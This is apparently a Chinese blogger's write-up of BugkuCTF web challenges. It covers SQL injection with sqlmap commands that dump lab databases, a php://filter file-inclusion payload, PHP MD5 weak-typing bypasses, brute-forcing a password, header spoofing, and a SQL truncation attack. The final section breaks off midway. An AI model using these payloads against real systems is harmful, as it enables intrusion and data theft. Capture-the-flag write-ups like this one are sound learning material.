2019-03-13 BugkuCTF Writeup之Web（Web4——这是一个神奇的登录框）

Web4

考察查看网页源代码和escape编码的解码

提示“看看源代码吧”，所以看了一下源代码，发现一段JavaScript脚本。不过这段脚本好像是错的，所以直接运行的话运行不了。

把它稍微改一改就可以运行了，运行后得到一段JavaScript代码，当然也可以选择不运行，直接解码那些内容，也可以得到这些代码。

这段代码如下：

function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof(a){
         if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
         return 0;
         alert("Error");
         a.focus();
         return 1;
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

大概意思就是：定义一个函数checkSubmit，要求传入a，如果a的值不等于67d709b2b54aa2aa648cf6e87a7114f1，就弹框“error”，如果正确的话应该就拿到flag。

关于这段代码的含义可以参考一下我的JavaScript笔记，虽然有些我还没学到，不过大概意思可以看得懂。

在输入框中输入“”67d709b2b54aa2aa648cf6e87a7114f1”，得到flag。

flag在index里

考察使用PHP内部协议读取网页源代码

打开看到一个链接。

点进去一看只有test5，但是发现了“file=show.php”。

这道题是在做了HGAME2019的week2之后做的。有了做HGAME的经验很容易就知道这是一个文件包含漏洞，可以通过PHP内置协议直接暴露index.php的源代码。

构造?file=php://filter/read=convert.base64-encode/resource=index.php

成功暴露源代码。

用hackbar插件进行BASE64解码得到flag。

输入密码查看flag

考察使用Burp Suite爆破

提示密码为五位数字，所以考虑爆破（题目链接也提示了要爆破……）。

抓包。

设置Positions和Payloads。

开始爆破，密码为13579时返回信息有变化，查看响应得到flag。

点击一百万次

考察查看网页源代码和POST请求提交数据

提示了JavaScript，打开网页源代码果然看到了JavaScript代码。

大概意思就是当clicks大于等于1000000时就会得到flag，所以用hackbar直接post：clicks=1000000，拿到flag。

备份是个好习惯

考察.bak文件和代码审计。

打开之后只有两串一样的MD5，而且都是空密码。

卡在这里很久，后来突然知道了.bak文件，于是尝试打开index.php.bak。

后缀名为bak的文件是备份文件，修改了原文件的内容后，保存了修改后的内容，那么修改前的内容会自动保存为后缀名为bak的备份文件(前提是设置了备份功能)，如果想查看或者恢复修改前的内容，就需要用到bak文件。
(来自百度知道）

果然有这个文件：

下载下来之后用记事本打开，发现一些php代码：

查看代码后发现要求传入key1和key2两个参数，要求值不同而MD5加密后相同。由于只有两个等号所以考虑用弱类型绕过。

但是，str_replace('key','',$str)这一句会过滤掉key，所以构造一个双写来绕过。

综合起来Payload就是：?kekeyy1=QNKCDZO&kkeyey2=s1885207154a

提交一下得到flag。

成绩单

最基本的SQL注入题，用sqlmap做或者手动都可以。我这里是用了sqlmap。

方法是post，参数是id。

检测注入点：

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1"

找到了注入点，也就是id。

接下来就是按照套路来：

爆库：

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" --dbs

可以看到有两个数据库，flag应该在skctf_flag里。

爆表：

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag --tables

flag应该在fl4g这个表里。

爆字段名：

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g --columns

只有一个字段，那这个肯定就是flag了。

爆字段：

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump

拿到了flag。

秋名山老司机

做这道题需要写具有自动读取、计算、自动提交功能的Python脚本。因为需要用正则表达式匹配算式，还要有自动请求和自动提交功能，所以要用到re库和request库。

打开刷新几下会出现这样的提示，即要传入名为value的变量，value的值如果是答案的话就可以得到flag。

两秒的话肯定不能手算，就用写脚本的方法来解决。思考了一下写出来的脚本应该有这样的功能：

1.请求给定的url；2.提取页面中的文字信息；3.将文字信息中的算式提取出来；4.计算这个算式并且得到结果；5.自动提交结果。

而且整个脚本的运行时间不能大于两秒（虽然Python比C慢，但是这个一般都没问题吧……）。

因为算式在<div></div>里，所以可以直接上正则提取出它们之间的东西，再去等号和问号变成纯算式，再用eval()函数计算结果。不用正则的话，用BeautifulSoup也可以。

根据前面所想的功能编写脚本：

ps：自己刚学Python四天，接触正则表达式的时间更短，代码力还不行，写出来的正则表达式总是报错或者匹配不出来，所以正则表达式提取<div></div>之间的算式那一句参考了别人的写法，自己只是加上了过滤等号和问号的部分。

import re
import requests
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()     #使用Session参数是为了防止提交答案时算式更新
r = s.get(url)     #提取页面信息
b = re.findall(r'<div>(.*)=\?;</div>',r.text,re.S)[0]     #正则表达式提取<div></div>之间的算式
result = eval(b)     #计算算式得到结果
post = {'value': result}     #提交结果
print(s.post(url, data = post).text)

执行脚本之后有一定几率拿到flag，不知道为什么不可以100%成功。

总结：正则表达式真难……

其余的目前还没有全部做完，做完了的如下图所示，没做完的那些等以后做完再新开一篇文章补上。

never give up

考察view-source查看网页源代码和escape编码的解码

页面里没什么有用的信息，查看网页源代码发现一条注释：

访问了一下这个页面，发现跳转到了Bugku的首页，那么这个1p.html的网页源代码里肯定有信息，使用view-source查看即可。

发现一串编码过的字符，下面的unescape()函数提示这是escape编码：

这段JS应该是可以执行的，不过我还没试，反正执行也是解码，就直接解码了。

解码，发现解码出来的信息里有个f4l2a3g.txt，应该就是flag所在的页面。

这段文字Urldecode之后应该还能出现信息，不过访问了f4l2a3g.txt之后就拿到flag了，也没想那么多。

拿到flag。

前女友（SKCTF）

最简单的PHP弱类型利用

查看网页源代码发现链接，打开链接看到代码。

要求传入v1,v2,v3三个参数，其中v1和v2的值不同但MD5加密后的值相同，v3（数组或字符串）与flag的值不同。

考虑到PHP弱类型：PHP在处理MD5加密后的字符串时，它把每一个以“0e”开头的值都解释为0^e（就是0），所以如果两个不同的字符串经过MD5加密以后，都是以“0e”开头的，那么PHP将会认为他们相同。所以构造v1=QNKCDZO&v2=240610708&v3[]=1，提交得到flag。

login1(SKCTF)

考察基于约束的SQL攻击。

在前几天翻大佬们的博客时看到过这道题的wp，不过当时没仔细看，结果刚看完就做到这道题了……

百度了一下“SQL约束攻击”，读完这篇文章之后有了解题思路：https://www.freebuf.com/articles/web/124537.html

打开页面，如果随便注册的话会提示不是admin拿不到flag。

所以，根据上面那篇文章中提到的，为了入侵admin的账户，使用admin加随意多的空白符注册即可：

注册成功后使用刚才注册的用户名登录：

拿到flag：

你从哪里来

考察的是请求头中Referer参数的使用。

打开链接看到一句话：

本以为是要在请求头中添加X-Forwarded-For：（谷歌的ip地址），但是试过了发现没有用。考虑到请求头中的Referer参数的作用是：代表当前访问URL的上一个URL，也就是说，用户是从什么地方来到本页面（摘自《Web安全深度剖析》），使用Hackbar中的Referer功能设置Referer参数的值为“https://www.google.com”，发送请求得到flag。

md5 collision(NUPT_CTF)

考察利用PHP弱类型绕过md5验证。

什么提示也没有，只有input a，联想到题目叫md5碰撞，应该是利用弱类型绕过md5验证。

用QNKCDZO试了下发现不行。

换了另一个md5加密后0e开头的，得到flag。

程序员本地网站

考察的是请求头中的X-Forwarded-For参数。

本地，也就是127.0.0.1。

在请求头中添加“X-Forwarded-For: 127.0.0.1”，发送请求得到flag。

各种绕过

很基础的代码审计，考察数组绕过sha1()函数、URL二次解码绕过

要提交三个参数：uname、passwd、id。其中uname和id是GET方式提交，passwd是POST方式提交。要求uname和passwd在sha1()函数加密后相等，但是这里是用全等于判断的，所以不能用弱类型绕过。

id在urldecode之后要等于margin，所以需要构造一个URL二次解码绕过。

构造如下：

提交一下得到flag。

细心

考察查看robots.txt

打开一看发现一个意义不明的404页面，于是想到看robots.txt。

打开之后果然有了发现。

进去一看，说不是管理员，ip被记录了（而且还把我的ip暴露出来了）。

同时还发现底下有一句代码。

提示说想办法变成admin。一般来说提示不是管理员都是改Cookie，但是既然底下有这句代码，那么就先传入?x=admin试试。

还真行，拿到flag了。

这个页面里的ip和时间应该都是其他师傅的，往下翻了翻还看到了自己的ip和时间，囧。

而且这个flag居然不是花括号，搞得我以为这里有坑，还要改成花括号或者这就是个假flag，结果直接交上去就对了，果然是我想太多了……

这是一个神奇的登陆框

考察SQL注入，用sqlmap轻松搞定。

进去一看是个登录页面，而且题目地址也写了“sql”，那应该是sql注入。

随便写点什么提交一下，发现提交方式是post，请求主体是“admin_name=admin&admin_passwd=123&submit=GO+GO+GO”

通过前面测试DVWA的漏洞和做一些sql注入题，我已经知道接下来是sqlmap出场的时间了（笑）。

先找一下注入点：

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch

注入点是admin_name。

爆库：

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch --dbs

发现了两个数据库。flag应该在第一个数据库里。

爆表：

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 --tables

有两个表。flag应该在flag1里。